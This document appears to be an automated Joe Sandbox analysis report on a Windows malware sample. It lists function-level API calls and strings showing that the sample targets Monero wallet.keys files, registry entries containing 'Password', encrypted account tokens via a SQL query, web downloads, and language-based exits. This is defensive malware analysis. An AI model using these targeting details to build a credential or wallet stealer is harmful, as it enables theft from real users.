Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B88B60: GetSystemTime.KERNEL32(00B90E1A,00939FD8,00B905AE,?,?,00B713F9,?,0000001A,00B90E1A,00000000,?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B88B86

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00B71465

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B799EC
Part of subcall function 00B799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B79A11
Part of subcall function 00B799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B79A31
Part of subcall function 00B799C0: ReadFile.KERNEL32(000000FF,?,00000000,00B7148F,00000000), ref: 00B79A5A
Part of subcall function 00B799C0: LocalFree.KERNEL32(00B7148F), ref: 00B79A90
Part of subcall function 00B799C0: CloseHandle.KERNEL32(000000FF), ref: 00B79A9A

DeleteFileA.KERNEL32(00000000), ref: 00B714EF

Strings

.keys, xrefs: 00B7136B
\Monero\wallet.keys, xrefs: 00B7138D
SOFTWARE\monero-project\monero-core, xrefs: 00B71335
wallet_path, xrefs: 00B71330

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 9337e8bc8ee9d03ac8b8c6d5c41c154595e68b306f096c44325004b26ceaace5
Instruction ID: 13b6533f6f80c584c229bb7070754622f2e6d282bec3880f31c025ca3f845c61
Opcode Fuzzy Hash: 9337e8bc8ee9d03ac8b8c6d5c41c154595e68b306f096c44325004b26ceaace5
Instruction Fuzzy Hash: AC5155B1D5011897DB15FB64DC92FED73BCAF50300F4045E9B60AA20A1EE346B89CBA6

Function 00B775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B772D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00B7733A
Part of subcall function 00B772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B773B1
Part of subcall function 00B772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B7740D
Part of subcall function 00B772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00B77452
Part of subcall function 00B772D0: HeapFree.KERNEL32(00000000), ref: 00B77459

lstrcat.KERNEL32(00000000,00B917FC), ref: 00B77606
lstrcat.KERNEL32(00000000,00000000), ref: 00B77648
lstrcat.KERNEL32(00000000, : ), ref: 00B7765A
lstrcat.KERNEL32(00000000,00000000), ref: 00B7768F
lstrcat.KERNEL32(00000000,00B91804), ref: 00B776A0
lstrcat.KERNEL32(00000000,00000000), ref: 00B776D3
lstrcat.KERNEL32(00000000,00B91808), ref: 00B776ED
task.LIBCPMTD ref: 00B776FB

Strings

: , xrefs: 00B7764E

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 4b5552f95f676329fcb2934712120f2c10882bdf40153cad156012cb5caa75ac
Instruction ID: 57965a1aa515917df2518f10b2f021a7e1b86f76c5d2d05f911aa5e205189b8c
Opcode Fuzzy Hash: 4b5552f95f676329fcb2934712120f2c10882bdf40153cad156012cb5caa75ac
Instruction Fuzzy Hash: CF3163B5940209EFCB04EBB8DC89DFF73B8BB44301B148258F116A7260DE34A946DB61

Function 00B88100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0093DB00,00000000,?,00B90E2C,00000000,?,00000000), ref: 00B88130
RtlAllocateHeap.NTDLL(00000000), ref: 00B88137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B88158
__aulldiv.LIBCMT ref: 00B88172
__aulldiv.LIBCMT ref: 00B88180
wsprintfA.USER32 ref: 00B881AC

Strings

@, xrefs: 00B8814D
%d MB, xrefs: 00B881A3

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 925c5db78b2afba5c9d3e6a2304bece14d2ca697b7b23c17d513a92fad75cb6c
Instruction ID: e4c3f350e62b2111bf2892f21851c5da93e0d831dd5f5fa8ed2a0e5915d8da5a
Opcode Fuzzy Hash: 925c5db78b2afba5c9d3e6a2304bece14d2ca697b7b23c17d513a92fad75cb6c
Instruction Fuzzy Hash: 3421F9B1E44218EBDB04EFD4CC49FAEB7B8EB48B10F104659F605BB290DB7859018BA5

Function 00B760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B74839
Part of subcall function 00B747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B74849

InternetOpenA.WININET(00B90DF7,00000001,00000000,00000000,00000000), ref: 00B7610F
StrCmpCA.SHLWAPI(?,0093E310), ref: 00B76147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00B7618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00B761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00B761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B7620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00B76249
InternetCloseHandle.WININET(?), ref: 00B76253
InternetCloseHandle.WININET(00000000), ref: 00B76260

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 80b692f42d8301a1aeed4769eb45e92f5ddcf79775e90d5c5bc0c382bc71c170
Instruction ID: 36fcb6f2a1154ec1c9d87d9edc6c9bb82cfa0e0756e346d9ba849c389971799a
Opcode Fuzzy Hash: 80b692f42d8301a1aeed4769eb45e92f5ddcf79775e90d5c5bc0c382bc71c170
Instruction Fuzzy Hash: 85516FB1900618EBEB20DF54DC49BEE77B8EB44701F1081D8B609B72D1DB746A89CFA5

Function 00B772D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00B7733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B7740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00B77452
HeapFree.KERNEL32(00000000), ref: 00B77459
task.LIBCPMTD ref: 00B77555

Strings

Password, xrefs: 00B77401

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 464b42013e5c505d92530aa98db7001c9532862136c0a7181e5bfdd98f09e9d8
Instruction ID: 8f24432964794330e4249dd0d1b6e229fcdcc240a210250fa071a699e06119aa
Opcode Fuzzy Hash: 464b42013e5c505d92530aa98db7001c9532862136c0a7181e5bfdd98f09e9d8
Instruction Fuzzy Hash: C161F7B59442689BDB24DB50DC85BDAB7F8BF48300F0081E9E65DA6241DFB05BC9CFA1

Function 00B7BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

lstrlen.KERNEL32(00000000), ref: 00B7BC9F

Part of subcall function 00B88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B88E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00B7BCCD
lstrlen.KERNEL32(00000000), ref: 00B7BDA5
lstrlen.KERNEL32(00000000), ref: 00B7BDB9

Strings

AccountId, xrefs: 00B7BCC4
AccountTokens, xrefs: 00B7BABA
AccountTokens, xrefs: 00B7BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00B7BBEB

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: f64068d1bf914bc0a2266021e94e64a7761af3adca8955f7e6b245b87737b1e4
Instruction ID: 9fc5cf0196c3ef9c8f22831a7b196aab928b32fbb43c9828ddb19f328fbec625
Opcode Fuzzy Hash: f64068d1bf914bc0a2266021e94e64a7761af3adca8955f7e6b245b87737b1e4
Instruction Fuzzy Hash: FBB116719101049BEF14FBA4DD96EEE73B8AF54300F4045A9F506B61A1EF386A49CB72

Function 00B86770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00B86774
ExitProcess.KERNEL32 ref: 00B867A5
ExitProcess.KERNEL32 ref: 00B867AF
ExitProcess.KERNEL32 ref: 00B867B9
ExitProcess.KERNEL32 ref: 00B867C3
ExitProcess.KERNEL32 ref: 00B867CD

Strings

*, xrefs: 00B8678C

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 425a340f8062402f25dd3976f0819fb7b5878c3a3efdfe2e77caa57c1578dbe0
Instruction ID: af790af2707967f38f16c236668853d95fbf665a9c647fd78c93988d6247f79c
Opcode Fuzzy Hash: 425a340f8062402f25dd3976f0819fb7b5878c3a3efdfe2e77caa57c1578dbe0
Instruction Fuzzy Hash: CEF03A34D08349EFE344AFE8A90972C7B70FB04702F040299E609C6390DA724E41DBE6

Function 00B74FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B74FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00B74FD1
InternetOpenA.WININET(00B90DDF,00000000,00000000,00000000,00000000), ref: 00B74FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00B75011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00B75041
InternetCloseHandle.WININET(?), ref: 00B750B9
InternetCloseHandle.WININET(?), ref: 00B750C6

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3ae585b8b70c08258008bcbcabf2672b615c34c71b613e9b77226358c83e2eae
Instruction ID: d6d248ffd15abf3816c7cfb56130999690023d6293c1dc201bafef8574a0130d
Opcode Fuzzy Hash: 3ae585b8b70c08258008bcbcabf2672b615c34c71b613e9b77226358c83e2eae
Instruction Fuzzy Hash: 87310AB4A00218EBDB20DF54DC85BDCB7B4EB48704F1081D9E709A7281DB706EC58FA9

Function 00B883DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B88426
wsprintfA.USER32 ref: 00B88459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00B8847B
RegCloseKey.ADVAPI32(00000000), ref: 00B8848C
RegCloseKey.ADVAPI32(00000000), ref: 00B88499

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

RegQueryValueExA.ADVAPI32(00000000,0093DCB0,00000000,000F003F,?,00000400), ref: 00B884EC
lstrlen.KERNEL32(?), ref: 00B88501
RegQueryValueExA.ADVAPI32(00000000,0093DC38,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00B90B34), ref: 00B88599
RegCloseKey.ADVAPI32(00000000), ref: 00B88608
RegCloseKey.ADVAPI32(00000000), ref: 00B8861A

Strings

%s\%s, xrefs: 00B8844D

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c91b1f52898ba592cb0962c91213f35e1577860670880de0e992ca095619301c
Instruction ID: 69b8e7b6967821528e0f72d9e74d0dee22dfc20a0aafc075fc55dc5f8275840b
Opcode Fuzzy Hash: c91b1f52898ba592cb0962c91213f35e1577860670880de0e992ca095619301c
Instruction Fuzzy Hash: DF2107B5910218EBDB24DB54DC85FE9B3F8FB48700F40C2D9A609A6250DF71AA85CFE4

Function 00B87690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B876A4
RtlAllocateHeap.NTDLL(00000000), ref: 00B876AB
RegOpenKeyExA.ADVAPI32(80000002,0092B6C8,00000000,00020119,00000000), ref: 00B876DD
RegQueryValueExA.ADVAPI32(00000000,0093DDE8,00000000,00000000,?,000000FF), ref: 00B876FE
RegCloseKey.ADVAPI32(00000000), ref: 00B87708

Strings

Windows 11, xrefs: 00B876BD

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
